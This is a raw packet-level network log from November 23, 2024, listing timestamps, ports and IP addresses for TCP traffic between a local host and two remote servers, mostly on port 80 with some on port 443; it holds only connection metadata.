Nov 23, 2024 01:14:06.074424982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.074481964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.074532032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.075289965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.075349092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.075414896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.075465918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.076214075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.076277971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.076335907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.076402903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.077121973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.077197075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.077253103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.077305079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.078033924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.078094959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.078156948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.078207016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.078948021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.079005003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.079061985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.079111099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.079859018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.079956055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.080003023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.080051899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.080801010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.080856085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.080877066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.080904007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.081671000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.081795931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.137572050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.137630939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.137674093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.137697935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.137988091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.138045073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.138108969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.138164997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.138901949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.138969898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.139027119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.139084101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.139833927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.139897108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.139952898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.140002966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.140752077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.140814066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.140870094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.140930891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.141654015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.141709089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.141771078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.141819954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.142591000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.142646074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.142708063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.142756939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.143496990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.143552065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.143623114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.143675089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.144419909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.144481897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.144541979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.144603014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.145347118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.145407915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.145471096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.145524979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.146260023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.146327972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.146389961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.146446943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.147180080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.147253036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.147306919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.147381067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.148113966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.148180008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.148224115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.148273945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.148993969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.149049997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.149108887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.149158955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.149928093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.149988890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.150099993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.150152922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.150909901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.150959969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.151012897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.151062965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.151763916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.151823044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.151884079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.151932001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.152673960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.152735949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.152790070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.152839899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.153588057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.153641939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.153753996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.153809071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.154512882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.154575109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.154630899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.154679060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.185937881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.186121941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.186141968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.186196089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.186403036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.186451912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.186475039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.186526060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.187330961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.187391996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.187419891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.187468052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.188273907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.188328981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.188384056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.188431978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.189131975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.189183950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.189208031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.189256907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.190069914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.190138102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.190192938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.190239906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.190980911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.191035986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.191103935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.191162109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.191879988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.191936016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.191996098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.192053080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.192800999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.192854881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.192907095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.192955971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.193720102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.193769932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.193797112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.193846941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.262450933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.262557983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.262584925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.262613058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.262873888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.262940884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.262995958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.263062000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.263767958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.263830900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.264116049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.264180899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.264256001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.264314890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.265028954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.265094042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.265150070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.265208006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.265950918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.266033888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.266087055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.266149998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.266860962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.266921997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.266980886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.267039061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.267787933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.267852068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.267920971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.267987013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.268699884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.268774986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.268829107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.268886089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.269635916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.269702911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.269762993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.269823074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.270529985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.270596981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.270653009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.270731926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.271466017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.271531105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.271585941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.271634102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.272378922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.272449017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.272552013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.272603989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.273257971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.273324013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.273384094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.273435116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.274188995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.274250031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.274303913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.274355888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.275146961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.275213003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.275271893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.275336027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.276041985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.276168108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.276197910 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.276221991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.276957035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.277024984 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.277079105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.277136087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.277877092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.277942896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.277997017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.278059006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.278820992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.278884888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.278938055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.278990030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.279747009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.279819012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.279876947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.279926062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.280656099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.280715942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.280780077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.280829906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.281584978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.281640053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.281692028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.281742096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.282445908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.282500029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.282634974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.282685041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.338709116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.338826895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.338865042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.338888884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.338918924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.339016914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.339087009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.339845896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.339931011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.340002060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.340065956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.340836048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.340898991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.340914011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.340962887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.341665983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.341737986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.341794968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.341865063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.342566013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.342634916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.342695951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.342756033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.343477964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.343543053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.343596935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.343648911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.344460011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.344542980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.344598055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.344649076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.345304012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.345365047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.345421076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.345472097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.346219063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.346282005 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.346311092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.346360922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.347151041 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.347223997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.347281933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.347347975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.348054886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.348134995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.348192930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.348247051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.349000931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.349062920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 23, 2024 01:14:06.349077940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:06.349112034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 23, 2024 01:14:08.146063089 CET	49706	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:08.146084070 CET	443	49706	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:08.146152973 CET	49706	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:08.146425009 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:08.146461010 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:08.146518946 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:08.146775007 CET	49708	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:08.146850109 CET	443	49708	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:08.146927118 CET	49708	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:08.146984100 CET	49709	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:08.147003889 CET	443	49709	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:08.147062063 CET	49709	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:08.155781984 CET	49709	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:08.155797958 CET	443	49709	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:08.156582117 CET	49708	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:08.156610012 CET	443	49708	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:08.164915085 CET	49707	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:08.164943933 CET	443	49707	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:08.165075064 CET	49706	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:08.165088892 CET	443	49706	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:09.850125074 CET	443	49709	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:09.850378990 CET	49709	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:09.850393057 CET	443	49709	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:09.851650000 CET	443	49709	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:09.851727009 CET	49709	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:09.853247881 CET	49709	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:09.853312969 CET	443	49709	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:09.853431940 CET	49709	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:09.853440046 CET	443	49709	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:09.857008934 CET	443	49708	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:09.857188940 CET	49708	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:09.857213974 CET	443	49708	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:09.858859062 CET	443	49708	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:09.858932018 CET	49708	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:09.859916925 CET	49708	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:09.860008955 CET	443	49708	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:09.860055923 CET	49708	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:09.903364897 CET	443	49708	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:09.904586077 CET	49708	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:09.904603958 CET	443	49708	172.217.21.36	192.168.2.5
Nov 23, 2024 01:14:09.904638052 CET	49709	443	192.168.2.5	172.217.21.36
Nov 23, 2024 01:14:09.951462984 CET	49708	443	192.168.2.5	172.217.21.36
